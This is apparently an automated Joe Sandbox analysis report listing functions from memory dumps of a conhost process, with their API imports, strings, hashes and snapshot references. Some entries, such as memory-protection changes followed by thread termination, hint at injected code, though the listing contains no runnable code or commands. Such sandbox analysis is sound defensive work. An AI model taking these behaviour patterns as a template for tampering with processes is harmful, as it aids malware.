__scrt_acquire_startup_lock.LIBCMT ref: 00000216ACFD766A
_RTC_Initialize.LIBCMT ref: 00000216ACFD7698
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000216ACFD76BE
__scrt_release_startup_lock.LIBCMT ref: 00000216ACFD76E9

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction ID: a88ed261009cd0c0d1d120b268fada32e84b8b10411122a61b59b701fb18cc04
Opcode Fuzzy Hash: 95b57d6277a84fb56418f177327e884c31f38a66bae6651e6bdbad69dc24b832
Instruction Fuzzy Hash: D981F23170434DC6F756AB2D984D3ED62DBAF76B88F584417A9047F79EEA38C8458700

Function 00000216ACFD9804 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00000216ACFD9889
GetLastError.KERNEL32 ref: 00000216ACFD9897
LoadLibraryExW.KERNEL32 ref: 00000216ACFD98C1
FreeLibrary.KERNEL32 ref: 00000216ACFD9907
GetProcAddress.KERNEL32 ref: 00000216ACFD9913

Strings

api-ms-, xrefs: 00000216ACFD98A9

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction ID: a37728357998e0ae6009f9c9f603858b93d39a563650bdb3060cd7f93116d6ec
Opcode Fuzzy Hash: b7fd7646394baccca3f1b1048765e4d0241f371571e58ba301572f288adf5d58
Instruction Fuzzy Hash: 4A31C531302A48A1FE13DB4AA40C7DD63DDBF69BA8F594525ED2D27394EF38C1858300

Function 00000216ACFE1B9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 00000216ACFE1BCD
GetLastError.KERNEL32 ref: 00000216ACFE1BD9
CloseHandle.KERNEL32 ref: 00000216ACFE1BF1
CreateFileW.KERNEL32 ref: 00000216ACFE1C1C
WriteConsoleW.KERNEL32 ref: 00000216ACFE1C3B

Strings

CONOUT$, xrefs: 00000216ACFE1BFD

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction ID: 769c50c567f3dcfdc6fb43bd0eeebf71e1f2a38bd04ecdfdeaef1efea0291703
Opcode Fuzzy Hash: fbbfc3741cb00c8850d54b7fda61e687de032808d93317950d0633c9a62c2227
Instruction Fuzzy Hash: 29119D31714B4486E7508B1EE84C39D62A9FFAAFE4F044228EE5D97BA4CF3CC9188740

Function 00000216ACFD5C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216ACFD5C4B
GetThreadContext.KERNEL32 ref: 00000216ACFD5DB5

Part of subcall function 00000216ACFD5A40: GetCurrentThreadId.KERNEL32 ref: 00000216ACFD5A44

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction ID: 2038f771110cf11e17af6d2d546607527019b2993d83766b733941d307145f9c
Opcode Fuzzy Hash: 52f3b0a83a9fc5b22f41d8404852d8b34c9dcd72dd37eace61d9b8d2680426a2
Instruction Fuzzy Hash: C6D18D76209B8882DA75DB19E49839E77E5FBD8F88F100216EA8D57BA5DF3CC541CB00

Function 00000216ACFD30B4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216ACFD30D7
HeapAlloc.KERNEL32 ref: 00000216ACFD30EA
StrCmpNIW.SHLWAPI ref: 00000216ACFD316B
GetProcessHeap.KERNEL32 ref: 00000216ACFD31D1
HeapFree.KERNEL32 ref: 00000216ACFD31DF

Strings

dialer, xrefs: 00000216ACFD3164

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction ID: 5ede828a51e978016911ebdf5eb8e7b76e50c3a9d2bf6c4b122495befe7fd08f
Opcode Fuzzy Hash: 5b923b6f3d4b051af17e4e8faeca1d1198f97f66eaed8709a0f00f88d373bc4e
Instruction Fuzzy Hash: 0B31B871B01B5A82EB12DF1EA84C3AD63EAFF65788F0941249F4827755EF38C469C700

Function 00000216ACFD1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000216ACFD1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 00000216ACFD1A58
PathFindFileNameW.SHLWAPI ref: 00000216ACFD1A67
lstrlenW.KERNEL32 ref: 00000216ACFD1A73
StrCpyW.SHLWAPI ref: 00000216ACFD1A86
CloseHandle.KERNEL32 ref: 00000216ACFD1A94

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction ID: 21ee20bd7bba2419659003283d26d6569110537a10081f05a0d9b96fa4f38b89
Opcode Fuzzy Hash: bec16919e3b07d6ab1f360bf5186f0ec190c680636fdb39b4f696954ffc34d04
Instruction Fuzzy Hash: 83018071700A4596EB14DB1AA45C7AD63AAFF99FD4F888035CE8993754DE3CC989C700

Function 00000216ACFD37AC Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000216ACFD37C8
GetCurrentProcess.KERNEL32 ref: 00000216ACFD37D6
VirtualProtectEx.KERNEL32 ref: 00000216ACFD37F8
GetCurrentProcess.KERNEL32 ref: 00000216ACFD3819
VirtualProtectEx.KERNEL32 ref: 00000216ACFD383A
TerminateThread.KERNEL32 ref: 00000216ACFD3849

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction ID: 19eb1356534c53b4bd857940877bc3f5f303013cbd76ed6dcd2fa016f91c1f8e
Opcode Fuzzy Hash: e4252fc9f6451678ca3b672aa508af9be8436cc55dc462e8819adcbe9d266895
Instruction Fuzzy Hash: 48111E75611B4882EB259B2DF40D79E67AABF69B45F040428CE5917758EF3DC44CC700

Function 00000216ACFD90F5 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216ACFD9103
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216ACFD9198
RtlUnwindEx.NTDLL ref: 00000216ACFD91E7

Strings

f, xrefs: 00000216ACFD9116
csm, xrefs: 00000216ACFD917E

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 55a0897108b236b4142cd5e2fa4fa6a237eb95147fa31d82c5cfe20d8f1cec7a
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: 9D518C322116088BEB16DF99E44CB9D37DAFF65BACF5181249A1767788EF35CA41C700

Function 00000216ACFD90D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216ACFD9103
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216ACFD9198
RtlUnwindEx.NTDLL ref: 00000216ACFD91E7

Strings

f, xrefs: 00000216ACFD9116
csm, xrefs: 00000216ACFD917E

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 09274eb5e08f4ce639a874ed4212bd94cab34e20f223f5bf3160672a4024af9d
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: D231DF3221074896E711DF59E84CB9D37EAFF64B8CF068214AE5A23789EF38CA41C704

Function 00000216ACFD1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000216ACFD1AD8
StrCmpNIW.SHLWAPI ref: 00000216ACFD1AF2
lstrlenW.KERNEL32 ref: 00000216ACFD1B01
StrCpyW.SHLWAPI ref: 00000216ACFD1B16

Strings

\\?\, xrefs: 00000216ACFD1AE6

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction ID: ddd203aa3278862c0ebd2c363a2c863cac05b359dbcce9c9bc6162202a150504
Opcode Fuzzy Hash: 16112503ebd4bbaf0721a34979430d9d9890d46ad4397212c59debcfc05cbbbd
Instruction Fuzzy Hash: A1F04F7230464996EB208B29F49C39D6766FF65B98F889035CA895B964DE6CC68CCB00

Function 00000216ACFD3200 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000216ACFD3222
StrCpyW.SHLWAPI ref: 00000216ACFD3232
StrCatW.SHLWAPI ref: 00000216ACFD323E
PathCombineW.SHLWAPI ref: 00000216ACFD324C

Strings

\\.\pipe\, xrefs: 00000216ACFD3218

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction ID: b893f7a5a509687ac80f012847dcbc655c984c15457ee0bf334dc15f21860c3a
Opcode Fuzzy Hash: a10b9fbf5d2c898f7c9b708695815e9cf74f4df3f8d5b839e299d2cca4937a3b
Instruction Fuzzy Hash: C9F08230704B8892EA048B1FB90C1AD666AEF69FD4F088131DE9B27B28CE2CC4498700

Function 00000216ACFDA138 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000216ACFDA154
GetProcAddress.KERNEL32 ref: 00000216ACFDA16A
FreeLibrary.KERNEL32 ref: 00000216ACFDA187

Strings

mscoree.dll, xrefs: 00000216ACFDA14B
CorExitProcess, xrefs: 00000216ACFDA163

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction ID: 291add23297734f9f95c2a838170ad2deecd5c8d3030a7309573882a91c465f9
Opcode Fuzzy Hash: 9217264d43014ce808c99de8a8145fbe135b698a21aa29953e209d5462850717
Instruction Fuzzy Hash: D6F08971311B4891EF554F6CE88C3EC276AAF64784F081019991B67575CF28C48CC700

Function 00000216ACFD51B0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216ACFD5236

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction ID: 0c9944cd4afd0e1babb47705740017b9cc5aa69177f349cad403aef28f4a098e
Opcode Fuzzy Hash: 065eb2a24c7300192409b1f4bca8757e198c759726111ad2bde78b52490ea3d6
Instruction Fuzzy Hash: 4902FC72119B8886EB61CB59E49839EB7E5FBD5B84F100115EA8E97BA8DF7CC444CF00

Function 00000216ACFE0860 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000216ACFE08A2
GetConsoleMode.KERNEL32 ref: 00000216ACFE0960
GetLastError.KERNEL32 ref: 00000216ACFE09EA

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction ID: 77e512e6cac4fc820cad2a44d1659ccf7b3aef37ee26126f8b606649615c7c64
Opcode Fuzzy Hash: 4bcbd420be841bafcf1cb86917f82a61becb6801fc8ef256a9047459a88e7092
Instruction Fuzzy Hash: A181ED32610A5C89FB55AF6DD88C3ED26ABFF66B88F444116DE0AB3796DB348442D310

Function 00000216ACFD57F0 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000216ACFD5806

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction ID: 966642a413e11f6af2beafc7c7881486eafbc4ea536d1687314809de73cfbc69
Opcode Fuzzy Hash: 94d32eef5ebe536b0a0adfa3e0b32a568b4410008b4bb6dfd84b7e083660618c
Instruction Fuzzy Hash: 5F61D876519B48C7EB659B19E44C35EB7EAFB98B48F100116EA8D57BA8CB7CC540CF00

Function 00000216AAA812B8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000216AAA812E0
_set_statfp.LIBCMT ref: 00000216AAA812FB
_set_statfp.LIBCMT ref: 00000216AAA81317
_set_statfp.LIBCMT ref: 00000216AAA81353

Memory Dump Source

Source File: 00000008.00000002.2281866973.00000216AAA70000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216AAA70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216aaa70000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: a55c73e9fa6c2ce9d73a3e652ea667440523fb524b9920c8d2b368095f16fd3e
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 6B118E32A54EC102F6E52169E57E3ED11C1FF7C774F484637AF7636BDA8A2A8C424280

Function 00000216ACFE1EB8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000216ACFE1EE0
_set_statfp.LIBCMT ref: 00000216ACFE1EFB
_set_statfp.LIBCMT ref: 00000216ACFE1F17
_set_statfp.LIBCMT ref: 00000216ACFE1F53

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: bfe24d190eea9661ec4158eb80eb7db9ec649420577475063e1cc590f779fc20
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 7E11A532A54A8901FEA8116EE49E3ED105B7FB7374F088724BA76373D79B5C8C428240

Function 00000216ACFD3878 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000216ACFD3886
GetCurrentProcess.KERNEL32 ref: 00000216ACFD38B4
VirtualProtectEx.KERNEL32 ref: 00000216ACFD38D6
GetCurrentProcess.KERNEL32 ref: 00000216ACFD38F4
VirtualProtectEx.KERNEL32 ref: 00000216ACFD3915

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 8ea094786f3ac28259268a20b19bfcb36084a903635a233a8ac438526efeebb9
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: 8311273A704B4482FB159B29F40C3AE66BAFF99B88F480029DF8917794EE3DC548C700

Function 00000216AAA784F5 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216AAA78503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216AAA78598

Strings

csm, xrefs: 00000216AAA7857E
f, xrefs: 00000216AAA78516

Memory Dump Source

Source File: 00000008.00000002.2281866973.00000216AAA70000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216AAA70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216aaa70000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction ID: 2ee23744f7270abb8376b866a494e196e0e2656761486dd32a0411b3a4e9c21a
Opcode Fuzzy Hash: a12096fde07cdb9e3353675e9d74aeeedb8b2868f95cbc04e37ad4e594267797
Instruction Fuzzy Hash: A151D0323122009ADB14DF25E86CBAE77D5FB68B98F518126DF16A378CDB36C881C705

Function 00000216AAA784D8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000216AAA78503
_IsNonwritableInCurrentImage.LIBCMT ref: 00000216AAA78598

Strings

csm, xrefs: 00000216AAA7857E
f, xrefs: 00000216AAA78516

Memory Dump Source

Source File: 00000008.00000002.2281866973.00000216AAA70000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000216AAA70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216aaa70000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction ID: 3ff26e229a821504252725082309d42ff312762ad9513c50654e2f0e9739a56f
Opcode Fuzzy Hash: 9d9690251bde7e8cf310a92dbdf710b9b231990aa6f8d8297185bd8ead255550
Instruction Fuzzy Hash: 5631A27121164096E714DF11E86CBAE37E4FB68BD8F15801AAF5BA7748CB3AC981C705

Function 00000216ACFD14B4 Relevance: 6.3, APIs: 5, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000216ACFD14D5
HeapFree.KERNEL32 ref: 00000216ACFD14E4
GetProcessHeap.KERNEL32 ref: 00000216ACFD14F0
HeapFree.KERNEL32 ref: 00000216ACFD14FF
GetProcessHeap.KERNEL32 ref: 00000216ACFD152A

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction ID: 3d0cb2fc21488675456f6849de0f3e90dee1d49216e4b2967c5b47bb9285c2e6
Opcode Fuzzy Hash: 5f7cef85691391bfd1f64b5ed8b2db0144129af346a3a3b2b5e725a5d1a6a2a2
Instruction Fuzzy Hash: DF117972914B9896EB50CFAEA80C29E73A6FF9AB84F08401DDF8A23714DF3CC0158700

Function 00000216ACFD26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000216ACFD27D4
StrCpyW.SHLWAPI ref: 00000216ACFD27ED

Strings

\\.\pipe\, xrefs: 00000216ACFD27DF

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction ID: 4cdbedf93b6e72eecc1b763d6621c0773316247db54b93c53d5243cc9ee8d7a9
Opcode Fuzzy Hash: 6e49d471cca68daba176b61e5ee439cd114eed484b1fe0d421767ac79cd7910d
Instruction Fuzzy Hash: BA71C43220478946EBA69F2D994C3EEA7DAFF65B88F444016DE4963B88DE35CD44C780

Function 00000216ACFD24DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000216ACFD25C3
StrCpyW.SHLWAPI ref: 00000216ACFD25DA

Strings

\\.\pipe\, xrefs: 00000216ACFD25CE

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction ID: f3a4477327eae42f4160d00dd7950f67a75d4f350008c91b8f1438824f8cdb69
Opcode Fuzzy Hash: afcb3e66faa42eb2bcf346096e8e020fbdcda90173b34b97db97a4810a61a98e
Instruction Fuzzy Hash: 5F51E13221478941E6B79F2D955C3ED66EBFFA5788F054015ED4513B9ACE35CC058B80

Function 00000216ACFE0604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000216ACFE071B
GetLastError.KERNEL32 ref: 00000216ACFE073D

Strings

U, xrefs: 00000216ACFE06C7

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction ID: f8fe16143506ed6ee12789b18f9e15235ad8531722b7cb893e05aeeb94a017fc
Opcode Fuzzy Hash: a13edceeabc266f7553562aa63bd5b4e25a5c0a5c0c842b56dee7ecd57ba2728
Instruction Fuzzy Hash: 9C41B572315A4882EB209F29E44C3DE77A6FFA9784F444025EE8D97798DB3CC541CB40

Function 00000216ACFDD6C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000216ACFDD6F9
LCMapStringW.KERNEL32 ref: 00000216ACFDD781

Strings

LCMapStringEx, xrefs: 00000216ACFDD6DC, 00000216ACFDD6ED

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction ID: 0a795e89422814df0053fcc861901a9b47ddda434412a08a4b369260fd6129e5
Opcode Fuzzy Hash: 8d086b69a67710f16bbac061c243311228bfa9ac644515e4c5b930ef6255b9c6
Instruction Fuzzy Hash: 0A114D36608B8486D760CB59F84839EB7A5FBD9BC4F54412AEE8D53B19DF38C454CB00

Function 00000216ACFD94A4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000216ACFD94E8
RaiseException.KERNEL32 ref: 00000216ACFD952E

Strings

csm, xrefs: 00000216ACFD951B

Memory Dump Source

Source File: 00000008.00000002.2283543838.00000216ACFD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216ACFD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_216acfd0000_conhost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 9d9897ce25571c28e51806bf44cef2494793ace286fcfb8ca6bb858d3561ec5c
